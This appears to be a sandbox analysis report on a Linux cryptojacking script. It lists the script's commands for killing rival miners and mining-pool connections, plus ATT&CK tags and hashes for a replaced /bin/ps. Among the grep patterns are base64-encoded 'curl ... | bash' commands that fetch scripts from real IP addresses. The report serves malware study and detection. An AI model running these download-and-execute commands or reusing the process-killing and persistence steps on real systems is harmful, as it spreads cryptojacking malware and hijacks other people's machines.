-
/bin/grepgrep -v /2⤵PID:1379
-
-
/bin/grepgrep -v grep2⤵PID:1378
-
-
/bin/grepgrep -v _2⤵PID:1381
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1377
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1382
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1383
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1388
-
-
/bin/grepgrep -v grep2⤵PID:1385
-
-
/bin/grepgrep "\\[^"2⤵PID:1386
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1384
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1392
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1393
-
-
/bin/grepgrep rsync2⤵PID:1391
-
-
/bin/grepgrep -v grep2⤵PID:1390
-
-
/bin/psps aux2⤵PID:1389
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1397
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1398
-
-
/bin/grepgrep watchd0g2⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1395
-
-
/bin/psps aux2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1402
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1403
-
-
/bin/grepgrep -v grep2⤵PID:1400
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1399
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1401
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1407
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1408
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1406
-
-
/bin/grepgrep -v grep2⤵PID:1405
-
-
/bin/psps aux2⤵PID:1404
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1412
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1413
-
-
/bin/grepgrep /tmp/java2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1410
-
-
/bin/psps aux2⤵PID:1409
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1417
-
-
/bin/grepgrep gitee.com2⤵PID:1416
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1418
-
-
/bin/grepgrep -v grep2⤵PID:1415
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
-
/bin/grepgrep /tmp/java2⤵PID:1421
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1423
-
-
/bin/grepgrep -v grep2⤵PID:1420
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1419
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1427
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1428
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1426
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1424
-
-
/bin/grepgrep 89.35.39.782⤵PID:1431
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1432
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1433
-
-
/bin/grepgrep -v grep2⤵PID:1430
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1429
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1437
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1438
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1436
-
-
/bin/grepgrep -v grep2⤵PID:1435
-
-
/bin/psps aux2⤵PID:1434
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1443
-
-
/bin/grepgrep kthrotlds2⤵PID:1441
-
-
/bin/grepgrep -v grep2⤵PID:1440
-
-
/bin/psps aux2⤵PID:1439
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1447
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1448
-
-
/bin/grepgrep ksoftirqds2⤵PID:1446
-
-
/bin/grepgrep -v grep2⤵PID:1445
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1444
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1452
-
-
/bin/grepgrep netdns2⤵PID:1451
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1453
-
-
/bin/grepgrep -v grep2⤵PID:1450
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1449
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
-
/bin/grepgrep watchdogs2⤵PID:1456
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1455
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1454
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1461
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1462
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1463
-
-
/bin/grepgrep -v grep2⤵PID:1460
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1459
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1467
-
-
/bin/grepgrep kinsing2⤵PID:1466
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1468
-
-
/bin/grepgrep -v grep2⤵PID:1465
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1464
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1472
-
-
/bin/grepgrep redis22⤵PID:1471
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1473
-
-
/bin/grepgrep -v grep2⤵PID:1470
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1469
-
-
/bin/grepgrep -v grep2⤵PID:1475
-
-
/bin/grepgrep -v aux2⤵PID:1476
-
-
/bin/grepgrep " ps"2⤵PID:1477
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1478
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1479
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1474
-
-
/bin/grepgrep sync_supers2⤵PID:1482
-
-
/bin/grepgrep -v grep2⤵PID:1481
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1484
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1480
-
-
/usr/bin/cutcut -c 9-152⤵PID:1483
-
-
/usr/bin/cutcut -c 9-152⤵PID:1488
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/grepgrep cpuset2⤵PID:1487
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1489
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1485
-
-
/bin/grepgrep -v aux2⤵PID:1492
-
-
/bin/grepgrep "x]"2⤵PID:1493
-
-
/bin/grepgrep -v grep2⤵PID:1491
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1494
-
-
/bin/psps aux2⤵PID:1490
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1495
-
-
/bin/grepgrep -v aux2⤵PID:1498
-
-
/bin/grepgrep "sh] <"2⤵PID:1499
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1500
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1501
-
-
/bin/grepgrep -v grep2⤵PID:1497
-
-
/bin/psps aux2⤵PID:1496
-
-
/bin/grepgrep " \\[]"2⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1507
-
-
/bin/grepgrep -v aux2⤵PID:1504
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1506
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1511
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1510
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1512
-
-
/bin/grepgrep -v grep2⤵PID:1509
-
-
/bin/psps aux2⤵PID:1508
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1516
-
-
/bin/grepgrep -v grep2⤵PID:1514
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1517
-
-
/bin/psps aux2⤵PID:1513
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1521
-
-
/bin/grepgrep hahwNEdB2⤵PID:1520
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1522
-
-
/bin/grepgrep -v grep2⤵PID:1519
-
-
/bin/psps aux2⤵PID:1518
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1527
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1524
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1523
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1530
-
-
/bin/grepgrep -v grep2⤵PID:1529
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/bin/psps aux2⤵PID:1528
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1535
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1537
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1533
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1540
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1539
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1542
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1538
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1545
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1547
-
-
/bin/grepgrep -v grep2⤵PID:1544
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1543
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1551
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1550
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1552
-
-
/bin/grepgrep -v grep2⤵PID:1549
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1548
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1556
-
-
/bin/grepgrep sustse2⤵PID:1555
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1557
-
-
/bin/grepgrep -v grep2⤵PID:1554
-
-
/bin/psps aux2⤵PID:1553
-
-
/bin/grepgrep sustse32⤵PID:1560
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1561
-
-
/bin/grepgrep -v grep2⤵PID:1559
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1562
-
-
/bin/psps aux2⤵PID:1558
-
-
/bin/grepgrep wget2⤵PID:1566
-
-
/bin/grepgrep mr.sh2⤵PID:1565
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1567
-
-
/bin/grepgrep -v grep2⤵PID:1564
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1568
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1570
-
-
/bin/grepgrep curl2⤵PID:1572
-
-
/bin/grepgrep mr.sh2⤵PID:1571
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1569
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1573
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1574
-
-
/bin/grepgrep 2mr.sh2⤵PID:1577
-
-
/bin/grepgrep wget2⤵PID:1578
-
-
/bin/grepgrep -v grep2⤵PID:1576
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1579
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1580
-
-
/bin/psps aux2⤵PID:1575
-
-
/bin/grepgrep -v grep2⤵PID:1582
-
-
/bin/grepgrep 2mr.sh2⤵PID:1583
-
-
/bin/grepgrep curl2⤵PID:1584
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1581
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1585
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1586
-
-
/bin/grepgrep -v grep2⤵PID:1588
-
-
/bin/grepgrep wget2⤵PID:1590
-
-
/bin/grepgrep cr5.sh2⤵PID:1589
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1591
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1592
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1587
-
-
/bin/grepgrep cr5.sh2⤵PID:1595
-
-
/bin/grepgrep -v grep2⤵PID:1594
-
-
/bin/grepgrep curl2⤵PID:1596
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1597
-
-
/bin/psps aux2⤵PID:1593
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1598
-
-
/bin/grepgrep logo9.jpg2⤵PID:1601
-
-
/bin/grepgrep wget2⤵PID:1602
-
-
/bin/grepgrep -v grep2⤵PID:1600
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1603
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1599
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
-
/bin/grepgrep logo9.jpg2⤵PID:1607
-
-
/bin/grepgrep -v grep2⤵PID:1606
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1609
-
-
/bin/grepgrep curl2⤵PID:1608
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1610
-
-
/bin/psps aux2⤵PID:1605
-
-
/bin/grepgrep j2.conf2⤵PID:1613
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1614
-
-
/bin/grepgrep -v grep2⤵PID:1612
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1615
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1611
-
-
/bin/grepgrep wget2⤵PID:1619
-
-
/bin/grepgrep luk-cpu2⤵PID:1618
-
-
/bin/grepgrep -v grep2⤵PID:1617
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1620
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1621
-
-
/bin/psps aux2⤵PID:1616
-
-
/bin/psps aux2⤵PID:1622
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1626
-
-
/bin/grepgrep -v grep2⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1627
-
-
/bin/grepgrep curl2⤵PID:1625
-
-
/bin/grepgrep luk-cpu2⤵PID:1624
-
-
/bin/grepgrep -v grep2⤵PID:1629
-
-
/bin/grepgrep ficov2⤵PID:1630
-
-
/bin/grepgrep wget2⤵PID:1631
-
-
/bin/psps aux2⤵PID:1628
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1632
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1633
-
-
/bin/grepgrep curl2⤵PID:1637
-
-
/bin/grepgrep ficov2⤵PID:1636
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1639
-
-
/bin/grepgrep -v grep2⤵PID:1635
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1634
-
-
/bin/grepgrep he.sh2⤵PID:1642
-
-
/bin/grepgrep wget2⤵PID:1643
-
-
/bin/grepgrep -v grep2⤵PID:1641
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1644
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1645
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1640
-
-
/bin/grepgrep curl2⤵PID:1649
-
-
/bin/grepgrep he.sh2⤵PID:1648
-
-
/bin/grepgrep -v grep2⤵PID:1647
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1650
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1651
-
-
/bin/psps aux2⤵PID:1646
-
-
/bin/grepgrep wget2⤵PID:1655
-
-
/bin/grepgrep miner.sh2⤵PID:1654
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1656
-
-
/bin/grepgrep -v grep2⤵PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1657
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1652
-
-
/bin/grepgrep miner.sh2⤵PID:1660
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1658
-
-
/bin/grepgrep curl2⤵PID:1661
-
-
/bin/grepgrep -v grep2⤵PID:1659
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1663
-
-
/bin/grepgrep nullcrew2⤵PID:1666
-
-
/bin/grepgrep wget2⤵PID:1667
-
-
/bin/grepgrep -v grep2⤵PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1669
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1668
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1664
-
-
/bin/grepgrep curl2⤵PID:1673
-
-
/bin/grepgrep nullcrew2⤵PID:1672
-
-
/bin/grepgrep -v grep2⤵PID:1671
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1674
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1675
-
-
/bin/psps aux2⤵PID:1670
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1678
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1679
-
-
/bin/grepgrep -v grep2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1680
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1676
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1684
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1683
-
-
/bin/grepgrep -v grep2⤵PID:1682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1685
-
-
/bin/psps aux2⤵PID:1681
-
-
/bin/grepgrep -v grep2⤵PID:1687
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1688
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1686
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1690
-
-
/bin/grepgrep 144.217.45.452⤵PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1695
-
-
/bin/grepgrep -v grep2⤵PID:1692
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1694
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1691
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1699
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/bin/grepgrep -v grep2⤵PID:1697
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1696
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1704
-
-
/bin/grepgrep 176.31.6.162⤵PID:1703
-
-
/bin/grepgrep -v grep2⤵PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1705
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1701
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1709
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1710
-
-
/bin/grepgrep -v grep2⤵PID:1707
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1706
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1714
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1715
-
-
/bin/grepgrep -v grep2⤵PID:1712
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1711
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1718
-
-
/bin/grepgrep -v grep2⤵PID:1717
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1720
-
-
/bin/psps auxf2⤵PID:1716
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1725
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1723
-
-
/bin/grepgrep -v grep2⤵PID:1722
-
-
/bin/psps auxf2⤵PID:1721
-
-
/bin/grepPID:1728
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1729
-
-
/bin/grepgrep -v grep2⤵PID:1727
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1730
-
-
/bin/psps auxf2⤵PID:1726
-
-
/bin/grepgrep monerohash.com2⤵PID:1733
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1734
-
-
/bin/grepgrep -v grep2⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1735
-
-
/bin/psps auxf2⤵PID:1731
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1738
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1739
-
-
/bin/grepgrep -v grep2⤵PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1740
-
-
/bin/psps auxf2⤵PID:1736
-
-
/bin/grepgrep -v grep2⤵PID:1742
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1744
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1745
-
-
/bin/psps auxf2⤵PID:1741
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1749
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1750
-
-
/bin/grepgrep -v grep2⤵PID:1747
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1746
-
-
/bin/grepgrep -v grep2⤵PID:1752
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1753
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1754
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1751
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1755
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1758
-
-
/bin/grepgrep -v grep2⤵PID:1757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1760
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1756
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1759
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1764
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1765
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1763
-
-
/bin/grepgrep -v grep2⤵PID:1762
-
-
/bin/psps auxf2⤵PID:1761
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1768
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1769
-
-
/bin/grepgrep -v grep2⤵PID:1767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1770
-
-
/bin/psps auxf2⤵PID:1766
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1773
-
-
/bin/grepgrep xiaoyao2⤵PID:1772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1774 -
/usr/local/sbin/killkill -9 17723⤵PID:1775
-
-
/usr/local/bin/killkill -9 17723⤵PID:1775
-
-
/usr/sbin/killkill -9 17723⤵PID:1775
-
-
/usr/bin/killkill -9 17723⤵PID:1775
-
-
/sbin/killkill -9 17723⤵PID:1775
-
-
/bin/killkill -9 17723⤵PID:1775
-
-
-
/bin/psps auxf2⤵PID:1771
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1778
-
-
/bin/grepgrep xiaoxue2⤵PID:1777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1779
-
/usr/local/sbin/killkill -9 17773⤵PID:1780
-
-
/usr/local/bin/killkill -9 17773⤵PID:1780
-
-
/usr/sbin/killkill -9 17773⤵PID:1780
-
-
/usr/bin/killkill -9 17773⤵PID:1780
-
-
/sbin/killkill -9 17773⤵PID:1780
-
-
/bin/killkill -9 17773⤵
- Reads CPU attributes
PID:1780
-
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1776
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1783
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1784
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1786
-
-
/bin/grepgrep 46.243.253.152⤵PID:1782
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1785
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1790
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1789
-
-
/bin/grepgrep 176.31.6.162⤵PID:1788
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1792
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1794
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1793
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1796
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads runtime system information
PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1798
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1Clear Linux or Mac System Logs
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /bin/ps
- Size 13B
- SHA256 be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
- MD5 3d47b8e895a71930bda5d4f3d8fc8589
- SHA1 efbaf468b81abb6b465ca12f35fa067bae1b4f10
- SHA512 bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
- MD5 SHA1 SHA512
- Path /bin/ps
- Size 52B
